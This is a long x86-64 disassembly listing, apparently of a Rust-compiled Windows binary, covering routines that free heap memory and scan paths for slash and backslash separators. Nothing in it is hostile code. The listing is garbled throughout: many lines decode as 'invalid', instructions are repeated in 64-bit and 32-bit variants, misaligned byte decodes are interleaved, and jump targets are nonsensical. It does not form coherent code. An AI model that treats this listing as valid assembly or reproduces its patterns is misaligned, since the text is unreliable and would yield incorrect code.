ror byte [r15], 1
ror byte [rdi], 1
movups xmm1, xmmword [rbp - 0x20]
adc byte [rbp - 0x20], cl
loopne 0x140083547
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
cmp qword [rbp - 0x48], 0
cmp dword [rbp - 0x48], 0
cmp dword [rbp - 0x48], 0
je case.0x14007eb24.220
mov rcx, qword [0x1400f91f8]
or eax, 0x75cac
invalid
xor edx, edx
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
movabs eax, dword [0x70c48348900002ce]
add al, byte [rax]
nop
add rsp, 0x70
invalid
invalid
jo 0x1400835c8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
add rax, 0x236
add eax, 0x236
add al, byte ss:[rax]
add byte [rax - 0x77], cl
add byte [rax], al
mov rcx, rax
jmp 0x140083479
invalid
invalid
invalid
shr ecx, 0xf4
invalid
add rax, 0x238
add eax, 0x238
cmp byte [rdx], al
add byte [rax], al
mov rcx, rax
jmp 0x140083479
lea rax, str.library_std_src_syswindowsmod.rs
add eax, 0x67436
je 0x14008359f
add byte [rdx + 0x104], bh
mov edx, 0x104
add al, 1
add byte [rax], al
mov rcx, r8
mov r8, rax
call fcn.1400a9df0
add byte [rdi], cl
invalid
push 0xb0f0002
add byte [rdi], cl
or ebp, eax
invalid
call fcn.1400401e0
int3
sti
dec dword [rdi]
ud2
nop word cs:[rax + rax]
ud2
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push r15
push r14
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x20
invalid
in al, dx
and byte [rax - 0x73], cl
push 0x70
lea rbp, [rdx + 0x70]
cmp qword [rbp - 0x28], 0
fadd dword [rax]
je 0x1400835f1
mov r8, qword [rbp - 0x30]
mov eax, dword [rbp - 0x30]
mov rcx, qword [0x1400f91f8]
pop rsp
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r14
pop r15
pop rbp
ret
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push r15
push r14
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x70]
push 0x70
jo 0x140083670
cmp qword [rbp - 0x48], 0
cmp dword [rbp - 0x48], 0
je 0x140083641
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
add al, byte [rax]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
int3
int3
int3
int3
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x158
in al, dx
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test eax, edx
add byte [rax], al
add dh, bh
invalid
invalid
invalid
in al, dx
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x39], cl
test eax, edx
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rax], al
add dh, bh
invalid
dec dword [rbp - 0x77]
invalid
mov r13, r8
mov rbx, rcx
mov ebx, ecx
mov ebx, ecx
mov r15, qword [rcx]
mov r14, qword [rcx + 0x10]
adc byte [rbp - 0x7b], cl
test byte [rax - 0x77], 0x95
rol byte [rax], 0
add byte [rdi + rdx*2 + 0x4c], dh
test r14, r14
mov qword [rbp + 0xc0], rdx
je 0x1400836f6
mov qword [rbp + 0xb8], r13
mov dword [rbp + 0xb8], ebp
mov r13, rbx
movzx eax, byte [r14 + r15 - 1]
cmp al, 0x2f
setne r12b
cmp al, 0x5c
xchg ebp, eax
invalid
setne bl
lea rcx, [rbp + 0x60]
mov rdx, r15
mov r8, r14
call fcn.14007e360
movzx r9d, byte [rbp + 0x60]
mov dh, 0x4d
invalid
movzx eax, r9b
mov dh, 0x4d
invalid
movzx eax, cl
mov r11, qword [rbp + 0x70]
mov r10, qword [rbp + 0x80]
lea rcx, [0x1400f08f8]
rol byte [rsi], cl
add byte [rax + 0x63], cl
adc al, 0x81
rol byte [rsi], cl
add byte [rax + 0x63], cl
adc al, 0x81
add rdx, rcx
add edx, ecx
mov rcx, r15
jmp rdx
lea rcx, [r11 + 4]
jmp 0x140083737
mov sil, 6
xor edi, edi
xor r12d, r12d
in al, 0xe9
jge 0x140083702
add byte [rax], al
in al, 0xe9
jge 0x140083702
add byte [rax], al
add byte [rcx - 0x73], cl
add qword [rbp - 0x7b], rcx
test r10, r10
cmove rcx, r10
invalid
invalid
lea rcx, [r10 + 1]
test r10, r10
cmove rcx, r10
add rcx, r11
add rcx, 8
add ecx, 8
add ecx, 8
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x140083737
mov ecx, 6
add byte [rax], al
add bl, ch
sbb dword [rcx - 0x73], ecx
lea rcx, [r10 + 1]
test r10, r10
cmove rcx, r10
invalid
invalid
jmp 0x140083737
lea rcx, [r10 + 1]
test r10, r10
cmove rcx, r10
add rcx, r11
add rcx, 2
invalid
invalid
add ecx, 2
rol dword [rdx], 0xeb
add eax, 0x2b9
mov ecx, 2
cmp rcx, r14
jmp 0x140083737
mov ecx, 2
add al, byte [rax]
add byte [rax], al
cmp rcx, r14
ja 0x140084065
jne 0x140083746
xor edi, edi
jmp 0x14008375c
invalid
invalid
add rcx, r15
add ecx, edi
movzx ecx, byte [rcx]
cmp cl, 0x2f
invalid
sete dl
cmp cl, 0x5c
pop rsp
invalid
pop rsp
sete dil
or dil, dl
and r12b, bl
mov rcx, qword [rbp + 0x61]
invalid
invalid
mov rdx, qword [rbp + 0x68]
invalid
mov qword [rbp + 7], rdx
mov qword [rbp], rcx
push rbp
invalid
add byte [rax - 0x75], cl
mov rsi, qword [rbp + 0x78]
mov ecx, 6
mov eax, eax
lea rdx, [0x1400f0914]
lea edx, [0x1400f0914]
jne case.0x140083c5d.272
js 0x14008372d
invalid
lea edx, [0x1400f0914]
movsxd r8, dword [rdx + rax*4]
invalid
invalid
add r8, rdx
add eax, edx
mov qword [rbp - 0x20], r10
mov qword [rbp - 0x18], r11
mov dword [rbp - 0x18], ebx
mov dword [rbp - 0x18], ebx
pop rbp
call 0x1307dc0dc
mov qword [rbp - 0x10], rsi
jmp r8
lea rdx, [r11 + 4]
test rdx, rdx
push rbx
add al, 0x48
test edx, edx
mov rbx, r13
je 0x1400837e3
lea rdx, [0x1400f0930]
lea rdx, [0x1400f0930]
add byte [rax + 0x63], cl
add al, 0x82
invalid
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
mov r13, qword [rbp + 0xb8]
jmp rax
add bh, bh
loopne 0x140083804
invalid
lea rcx, [r11 + 4]
lea ecx, [rbx + 4]
add al, 0x4c
add al, 0x4c
cmp rcx, r14
cmp ecx, esi
je case.0x14007e263.264
jmp case.0x140082303.206
lea rdx, [r10 + 1]
push rdx
add dword [rbp - 0x7b], ecx
ror byte [rcx + 0xf], cl
test r10, r10
cmove rdx, r10
ror byte [rcx + rax - 0x26], cl
ror byte [rcx + rax - 0x26], cl
fimul dword [rax - 0x7d]
ret 0x4802
invalid
invalid
add rdx, 2
add edx, 2
add cl, byte [rax - 0x7b]
ror byte [rcx + rcx*4 - 0x15], cl
test rdx, rdx
mov rbx, r13
jne 0x1400837a3
rol byte [rcx + rcx*4 - 0x32], 0x4c
mov ebp, dword [rbp + 0xb8]
lodsd eax, dword [rsi]
invalid
add byte [rax], al
add byte [rax], al
mov esi, r9d
mov r13, qword [rbp + 0xb8]
lodsd eax, dword [rsi]
mov eax, 0xe9000000
add byte [rax], al
invalid
add byte [rax], al
jmp 0x140083879
xchg dword [rax], eax
add byte [rax], al
lea rdx, [r10 + 1]
add dword [rbp - 0x7b], ecx
ror byte [rcx + 0xf], cl
ror byte [rcx + rax - 0x26], cl
ror byte [rcx + rax - 0x26], cl
test r10, r10
test edx, edx
cmove rdx, r10
add rdx, r11
add edx, ebx
ror byte [rcx + rax - 0x26], cl
add edx, ebx
add rdx, 8
ret 0x4808
or byte [rax - 0x7b], cl
test rdx, rdx
ror byte [rcx + rcx*4 - 0x15], cl
mov rbx, r13
jmp case.0x140075b85.1631
jne 0x1400837a3
xchg edi, eax
jmp 0x1400837e3
invalid
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov rbx, r13
jmp case.0x1400837b8.2
mov r13, qword [rbp + 0xb8]
mov ebp, dword [rbp + 0xb8]
lodsd eax, dword [rsi]
mov eax, 0x4c000000
cmp ecx, esi
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
je case.0x14007e263.264
mov esi, r9d
mov esi, r9d
mov esi, ecx
invalid
jmp 0x140083879
mov esi, r9d
invalid
mov rbx, r13
mov ebx, ebp
mov r13, qword [rbp + 0xb8]
mov ebp, dword [rbp + 0xb8]
lodsd eax, dword [rsi]
mov eax, 0xeb000000
jmp 0x140083879
lea rax, [r10 + 1]
lea rax, [r10 + 1]
test r10, r10
ror byte [rcx + 0xf], cl
cmove rax, r10
cmove eax, edx
ret 0x8d49
lea rcx, [r11 + rax]
or al, 3
add ecx, dword [rax - 0x7d]
add rcx, 2
add ecx, 2
rol dword [rdx], 0x4c
cmp rcx, r14
cmp ecx, esi
je case.0x14007e263.264
sbb ch, bl
ror byte [rcx - 0x73], cl
lea rax, [r10 + 1]
test r10, r10
cmove rax, r10
invalid
invalid
jmp case.0x140082303.206
lea rax, [r10 + 1]
lea eax, [rdx + 1]
test r10, r10
cmove rax, r10
lea rcx, [r11 + rax]
invalid
ret 0x8d49
add ecx, dword [rax - 0x7d]
add rcx, 8
ror dword [rax], 0x4c
cmp ecx, esi
int1
cmp rcx, r14
int1
jne case.0x140082303.206
xor eax, eax
mov esi, r9d
invalid
cmp r9b, 5
rol byte [rcx + rcx*4 - 0x32], 0x41
cmp cl, 5
invalid
movzx r12d, r12b
movzx esp, ah
cmove r12d, eax
loopne case.0x140084570.75
mov rdx, qword [rbp + 0xc0]
mov edx, dword [rbp + 0xc0]
xchg ebp, eax
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x16], 1
mov edx, ebp
mov rcx, rdx
mov ecx, edx
mov rdx, r13
mov edx, ebp
call fcn.14007e220
test al, al
jne case.0x1400281ec.1594
invalid
lea rcx, [rbp + 0x60]
invalid
invalid
mov rdx, qword [rbp + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], cl
call 0x13fb2f789
dec dword [rdi]
mov r8, r13
call fcn.14007e360
movzx edx, byte [rbp + 0x60]
mov dh, 0x55
invalid
mov dh, 0x55
invalid
mov rcx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x80]
mov eax, dword [rbp + 0x80]
add byte [rax], 0
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
mov eax, ss
rol byte [rsi], 1
lea r8, [0x1400f0944]
lea eax, [0x1400f0944]
add eax, 0x6d08c
rol byte [rsi], 1
add byte [rcx + 0x63], cl
adc al, 0x90
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
ret 0xe2ff
jmp rdx
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x34
jmp case.0x14007ec64.238
xor al, 0x48
lea edx, [rax + 1]
push rax
invalid
lea rdx, [rax + 1]
push rax
add dword [rax - 0x7b], ecx
invalid
invalid
test rax, rax
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
invalid
cmove rdx, rax
add rcx, rdx
add ecx, edx
ror byte [rax + 1], 1
add ecx, edx
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
invalid
add rcx, 2
add ecx, 2
jmp case.0x14007ec64.238
and byte [rcx + 6], bh
mov ecx, 6
jmp case.0x14007ec64.238
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
lea edx, [rax + 1]
push rax
add dword [rax - 0x7b], ecx
test rax, rax
test eax, eax
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
add rcx, rdx
add rcx, 8
invalid
cmove rdx, rax
cmove edx, eax
add rcx, rdx
add ecx, edx
add rcx, 8
add ecx, 8
or bl, ch
jmp case.0x14007ec64.238
add eax, 0x2b9
add byte [rcx + rdi - 0x17], cl
cmp rcx, r13
mov ecx, 2
add al, byte [rax]
add byte [rax], al
cmp rcx, r13
cmp ecx, ebp
jmp 0x1477ac011
ja 0x140084076
add byte [rax - 0x39], cl
adc byte [r8], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, ebx
mov qword [rbx + 0x10], 0
mov dword [rbx + 0x10], 0
mov rcx, rbx
mov rdx, qword [rbp + 0xc0]
mov edx, dword [rbp + 0xc0]
xchg ebp, eax
rol byte [rax], 0
add byte [rbp - 0x77], cl
mov r8, r13
call fcn.140081d40
in al, 0xff
invalid
call 0x13fec5c05
call qword [rax + 0x58c48148]
add dword [rax], eax
add byte [rax], al
pop rbx
pop rdi
nop
add rsp, 0x158
add esp, 0x158
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rdi
pop rbp
ret
cmp sil, 3
jae 0x1400839b1
test r13, r13
je case.default.0x140083be3
stosb byte [rdi], al
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx + rcx*4 + 0x7d], cl
movabs al, byte [0xb0758840a875894c]
mov qword [rbp - 0x58], r14
mov byte [rbp - 0x50], sil
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], r14
mov byte [rbp - 0x50], sil
mov byte [rbp - 0x50], dh
jne case.0x14007eb24.247
mov rax, qword [rbp]
mov rcx, qword [rbp + 7]
mov ecx, dword [rbp + 7]
invalid
mov qword [rbp - 0x4f], rax
invalid
mov qword [rbp - 0x48], rcx
mov rax, qword [rbp - 0x18]
invalid
mov eax, 0xe8458b48
call 0x1004dc2ae
mov qword [rbp - 0x40], rax
ror byte [rax - 0x75], 0x45
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x38], rax
enter 0xffffffffffff8b48, 0x45
loopne 0x1400839bb
mov dword [rbp - 0x30], eax
invalid
enter 0xffffffffffff8b48, 0x45
loopne 0x1400839bb
mov dword [rbp - 0x30], eax
shl byte [rsi - 0x39], 1
fadd dword [r8]
fadd dword [rax]
mov word [rbp - 0x28], 0x200
mov byte [rbp - 0x26], dil
mov byte [rbp - 0x26], bh
fadd dword [rax]
add al, byte [rax - 0x78]
jge case.0x140075b85.1662
mov byte [rbp - 0x26], bh
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
lea rdx, [rbp - 0x60]
lea edx, [rbp - 0x60]
push rbp
movabs al, byte [0x607d80ffffae83e8]
call fcn.14007e810
sub dword [rsi + 0x7d80ffff], 0x60
scasb al, byte [rdi]
invalid
cmp byte [rbp + 0x60], 0xa
jge 0x1400839f0
or cl, byte [rax - 0x77]
pop rbp
clc
mov qword [rbp - 8], rbx
jne 0x1400839f7
mov qword [rbp + 0xa0], 8
test dword [rax + 0x8000000], esp
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
xorps xmm0, xmm0
ror byte [rdi], 0x11
movups xmmword [rbp + 0xa8], xmm0
jmp 0x140083b13
add dword [rax], eax
invalid
test dword [rax - 0x17000000], ebp
add cl, ch
invalid
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
mov rsi, qword [rbp + 0xc0]
mov rdx, rsi
mov r8, r13
add byte [rax], al
add byte [rax - 0x77], cl
mov r8, r13
mov eax, ebp
call fcn.14007e360
invalid
movzx eax, byte [rbp + 0x60]
mov rcx, qword [rbp + 0x70]
invalid
invalid
mov ecx, dword [rbp + 0x70]
jo 0x140083a18
mov rdx, qword [rbp + 0x80]
mov edx, dword [rbp + 0x80]
xchg ebp, eax
add byte [rax], 0
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0x7f
invalid
jg case.0x140075b85.1674
movzx r8d, al
lea r9, [0x1400f0960]
or eax, 0x6cf7f
or eax, 0x6cf7f
invalid
add byte [rdi + 0x63], cl
movsxd r10, dword [r9 + r8*4]
adc al, 0x81
add r10, r9
mov r8, r13
invalid
jmp r10
call 0x188eb3930
add ecx, 4
invalid
add rcx, 4
add al, 0xe9
jmp 0x140083b8a
xchg ebx, eax
add dword [rax], eax
add byte [rcx + rcx*4 - 0x12], cl
mov esi, ebp
mov rsi, r13
mov esi, ebp
movzx eax, byte [0x1400f92c0]
mov ecx, 0xe0
invalid
mov edx, 8
call fcn.14003e500
stosb byte [rdi], al
sti
invalid
add al, ch
invalid
stosb byte [rdi], al
sti
dec dword [rax - 0x7b]
test rax, rax
je 0x14008409f
test rax, rax
je 0x14008409f
test byte [rsi + 0x49000006], al
mov esi, eax
invalid
invalid
add byte [rcx - 0x77], cl
mov r14, rax
invalid
mov rax, qword [rbp + 0x90]
mov qword [r14 + 0x30], rax
add byte [rcx - 0x77], cl
xor byte [rdi], r9b
adc byte [rbp + 0x60], al
invalid
invalid
movups xmm0, xmmword [rbp + 0x60]
invalid
invalid
movups xmm1, xmmword [rbp + 0x70]
jo 0x140083a3f
jo 0x140083a3f
movups xmm2, xmmword [rbp + 0x80]
adc byte [rbp + 0x80], dl
movups xmmword [r14 + 0x20], xmm2
movups xmmword [rsi + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
adc byte [rcx + 0xf], r8b
adc byte [rcx + 0xf], al
adc dword [rsi], eax
mov qword [rbp + 0x10], r14
mov dword [rbp + 0x10], esi
adc byte [rax - 0x39], cl
sbb byte [r8 + rax], r8b
add byte [rax], al
mov qword [rbp + 0x18], 4
mov qword [rbp + 0x20], 1
mov dword [rbp + 0x20], 1
movups xmm0, xmmword [rbp - 0x60]
adc byte [rbp - 0x60], al
movups xmm1, xmmword [rbp - 0x50]
movups xmm2, xmmword [rbp - 0x40]
movups xmm3, xmmword [rbp - 0x30]
adc byte [rbp - 0x30], bl
adc byte [rbp - 0x30], bl
movaps xmmword [rbp + 0x90], xmm3
sub dword [rbp + 0x90], ebx
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x80], edx
add byte [rax], al
movaps xmmword [rbp + 0x80], xmm2
add byte [rax], al
movaps xmmword [rbp + 0x70], xmm1
movaps xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x28]
invalid
lea ecx, [rbp + 0x28]
sub byte [r8 - 0x73], r9b
sub byte [rax - 0x73], cl
lea rdx, [rbp + 0x60]
call fcn.14007e810
cmp byte [rbp + 0x28], 0xa
je 0x140083afa
push rbp
invalid
mov r15d, 1
add dword [rax], eax
add byte [rax], al
lea rdi, [rbp + 0x10]
lea r13, [rbp + 0x28]
sub byte [rbp + rcx*4 + 0x65], cl
invalid
adc byte [rbp + rcx*4 + 0x6d], cl
sub byte [rbp + rcx*4 + 0x65], cl
invalid
cmp r15, qword [rbp + 0x18]
cmp edi, dword [rbp + 0x18]
jne 0x140083ab8
mov rcx, rdi
mov rdx, r15
cli
call fcn.14004dc00
mov r14, qword [rbp + 0x10]
movabs eax, dword [0x6b4910758b4cfffc]
invalid
imul rax, r15, 0x38
mov rcx, qword [rbp + 0x58]
mov qword [r14 + rax + 0x30], rcx
movups xmm0, xmmword [rbp + 0x28]
sub byte [r15], r9b
adc byte [rbp + 0x38], cl
sub byte [r15], r9b
adc byte [rbp + 0x38], cl
movups xmm2, xmmword [rbp + 0x48]
movups xmmword [r14 + rax + 0x20], xmm2
push rbp
movups xmmword [r14 + rax + 0x20], xmm2
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [rsi + rax + 0x10], xmm1
invalid
movups xmmword [r14 + rax], xmm0
inc r15
inc edi
mov qword [rbp + 0x20], r15
mov rcx, r13
mov rdx, r12
loop 0x140083ad8
sbb al, 0xad
invalid
invalid
cmp byte [rbp + 0x28], 0xa
sub byte [rdx], cl
loop 0x140083ad8
sbb al, 0xad
invalid
inc dword [rax + 0x750a287d]
test eax, 0x1045100f
adc byte [rbp + 0x10], al
sub byte [rdx], cl
jne 0x140083aa3
movups xmm0, xmmword [rbp + 0x10]
adc byte [rbp + 0x10], al
adc byte [r15], r9b
adc byte [rdi], cl
movaps xmmword [rbp + 0xa0], xmm0
sub dword [rbp + 0xa0], eax
test dword [rax + 0x48000000], esp
mov eax, dword [rbp + 0x20]
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x20]
invalid
invalid
add byte [rax], al
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
test dword [rax + 0x49000000], esi
mov ebp, esi
mov al, 0
add byte [rax], al
invalid
add byte [rcx - 0x77], cl
cmc
mov r13, rsi
mov byte [rbp + 0xcf], 0
iretd
add byte [rax], al
add byte [rax - 0x73], cl
sub byte [r8 - 0x75], r9b
sub byte [rax - 0x75], cl
lea rcx, [rbp + 0x28]
lea ecx, [rbp + 0x28]
sub byte [rax - 0x75], cl
mov rsi, qword [rbp + 0xc0]
mov ch, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rdx, rsi
mov edx, esi
mov r8, r13
mov r8, r13
call fcn.14007e360
movzx edx, byte [rbp + 0x28]
invalid
test al, 0xff
dec dword [rdi]
mov dh, 0x55
sub byte [rax - 0x75], cl
cmp byte [r8 - 0x75], r9b
cmp byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x38]
mov ecx, dword [rbp + 0x38]
cmp byte [rax - 0x75], cl
mov rax, qword [rbp + 0x48]
mov eax, dword [rbp + 0x48]
lea r8, [0x1400f09b0]
lea r8, [0x1400f09b0]
lea r8, [0x1400f09b0]
invalid
add byte [rbp + 0x63], cl
movsxd r9, dword [r8 + rdx*4]
or al, 0x90
add r9, r8
add ecx, eax
rol dword [rcx - 1], 0xe1
jmp r9
add rcx, 4
add ecx, 4
add al, 0xe9
lea eax, [rcx]
jmp case.0x140028086.1466
add byte [rax], al
add byte [rbp + rcx*4 + 0x42], cl
lea r8, [rdx + 1]
lea eax, [rdx + 1]
add dword [rax - 0x7b], ecx
test rdx, rdx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
invalid
cmove r8, rdx
cmove eax, edx
ret 0x14c
add rcx, r8
add ecx, eax
add rcx, 8
add ecx, 8
jmp 0x140083b8a
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
add byte [rax], al
jmp 0x140083b8a
sbb dword [rbp + rcx*4 + 0x42], ecx
lea r8, [rdx + 1]
add dword [rax - 0x7b], ecx
add dword [rax - 0x7b], ecx
test rdx, rdx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
cmove r8, rdx
cmove eax, edx
ret 0x14c
add rcx, r8
add ecx, eax
ror dword [rax - 0x7d], 0xc1
add ch, bl
invalid
add rcx, 2
rol dword [rdx], 0xeb
jmp 0x140083b8a
add eax, 0x2b9
mov ecx, 2
add byte [rax], al
add byte [rbp - 0x77], cl
call 0x14fd064da
sub r8, rcx
invalid
mov r8, r13
mov eax, ebp
sub r8, rcx
enter 0xffffffffffff820f, 0xffffffffffffffe0
jb 0x140084076
invalid
loopne case.0x1400271cf.1450
add al, 0
add byte [rax], al
add byte [rax + 3], cl
add rcx, qword [rbp + 0xc0]
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rsi, rcx
invalid
test r8, r8
test eax, eax
je case.0x14007cad1.755
or eax, 0x830eb60f
movzx ecx, byte [rsi]
mov dh, 0xe
invalid
cmp ecx, 0x2f
stc
invalid
je 0x140083bb6
cmp ecx, 0x5c
stc
pop rsp
je 0x140083bb6
add al, 0x3c
add eax, 0x8d483673
jae case.default.0x140083be3
invalid
invalid
cmp al, 5
jae case.default.0x140083be3
lea rcx, ss:[rbp + 0x60]
lea rcx, [rbp + 0x60]
invalid
invalid
mov rdx, r15
mov edx, edi
cli
mov r8, r14
invalid
call fcn.14007e360
wait
cmpsd dword [rsi], dword [rdi]
invalid
movzx r8d, byte [rbp + 0x60]
mov dh, 0x45
invalid
mov rax, qword [rbp + 0x70]
mov eax, dword [rbp + 0x70]
jo case.0x140026edd.1506
mov rdx, qword [rbp + 0x80]
mov edx, dword [rbp + 0x80]
xchg ebp, eax
add byte [rax], 0
add byte [rax - 0x73], cl
invalid
invalid
lea rcx, [0x1400f097c]
lea ecx, [0x1400f097c]
or eax, 0x6cda0
movabs al, byte [0x49810c634e0006cd]
int 6
add byte [rsi + 0x63], cl
movsxd r9, dword [rcx + r8*4]
invalid
or al, 0x81
or dword [rcx + 1], 0xe1ff41c9
add r9, rcx
add ecx, ecx
jmp r9
jmp rcx
loope case.0x1400271cf.1478
lea rcx, [rax + 4]
lea ecx, [rax + 4]
add al, 0xeb
jmp case.0x1400837b8.34
push rdi
test r12b, r12b
test ah, ah
je 0x14008390c
test byte [rdi], dl
invalid
std
invalid
dec dword [rax - 0x73]
lea rdx, [0x1400e9042]
adc eax, 0x65446
push rsp
push rsp
invalid
add byte [rcx - 0x48], al
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
fld1
invalid
mov rcx, rbx
call fcn.140081d40
jmp 0x14008390c
std
cld
invalid
invalid
loope 0x140083c08
loope 0x140083c08
invalid
invalid
std
cld
invalid
dec dword [rax - 0x73]
lea rcx, [rdx + 1]
lea ecx, [rdx + 1]
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
test rdx, rdx
test edx, edx
ror byte [rax + 0xf], cl
retf 0x148
retf 0x148
cmove rcx, rdx
cmove ecx, edx
retf 0x148
add rcx, rax
add ecx, eax
ror dword [rax - 0x7d], 0xc1
add ch, bl
invalid
add rcx, 2
add ecx, 2
jmp case.0x1400837b8.34
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
add byte [rax], al
add bl, ch
jmp case.0x1400837b8.34
sbb dword [rax - 0x73], ecx
lea rcx, [rdx + 1]
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
test rdx, rdx
test edx, edx
ror byte [rax + 0xf], cl
cmove rcx, rdx
retf 0x148
add rcx, rax
add ecx, eax
ror dword [rax - 0x7d], 0xc1
or bl, ch
add rcx, 8
add ecx, 8
ror dword [rax], 0xeb
jmp case.0x1400837b8.34
add eax, 0x2b9
mov ecx, 2
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
cmp ecx, esi
int1
ja 0x140084065
xchg dword [rcx], ebx
add al, 0
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], al
mov ecx, r8d
mov ecx, eax
lea r8, [0x1400f0998]
lea eax, [0x1400f0998]
int 6
add byte [rcx + 0x63], cl
or al, 0x88
invalid
movsxd rcx, dword [r8 + rcx*4]
invalid
mov byte [rcx + rax - 0x3f], cl
add rcx, r8
jmp rcx
loope case.0x14002f3a6.1365
add rax, 4
add eax, 4
rol byte [rbx + rbp*8], 0x38
jmp case.0x140028086.1456
xor eax, eax
jmp 0x140083ca6
cmp eax, 0x14a8d48
lea rcx, [rdx + 1]
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
test rdx, rdx
test edx, edx
cmove rcx, rdx
add rax, rcx
add eax, ecx
retf 0x148
retf 0x148
add eax, ecx
add rax, 2
add ch, bl
jmp case.0x140028086.1456
and byte [rax + 6], bh
mov eax, 6
add byte [rax], al
add bl, ch
jmp case.0x140028086.1456
sbb dword [rax - 0x73], ecx
add qword [rax - 0x7b], rcx
invalid
invalid
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
ror byte [rax + 0xf], cl
retf 0x148
invalid
invalid
retf 0x148
add rax, rcx
add rax, 8
add eax, 8
jmp case.0x140028086.1456
add eax, 0x2b8
mov eax, 2
add byte [rcx + 0x39], cl
invalid
cmp r14, rax
jb 0x14008390c
invalid
mov dword [rbx + 0x10], eax
adc r9b, bpl
jmp 0x14008390c
pop rbp
cld
invalid
lea rdx, [rax + 1]
test rax, rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
test eax, eax
cmove rdx, rax
add rcx, rdx
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
or bl, ch
invalid
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
or bl, ch
or bl, ch
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp case.0x140028086.1466
mov ecx, 2
cmp rcx, r13
jmp case.0x140028086.1466
lea rdx, [rax + 1]
lea edx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp case.0x140028086.1466
mov ecx, 2
add byte [rax], al
cmp rcx, r13
cmp ecx, ebp
mov rax, qword [rbp + 0xc0]
mov eax, dword [rbp + 0xc0]
add byte [rax], al
add byte [rdi], cl
ja 0x140084087
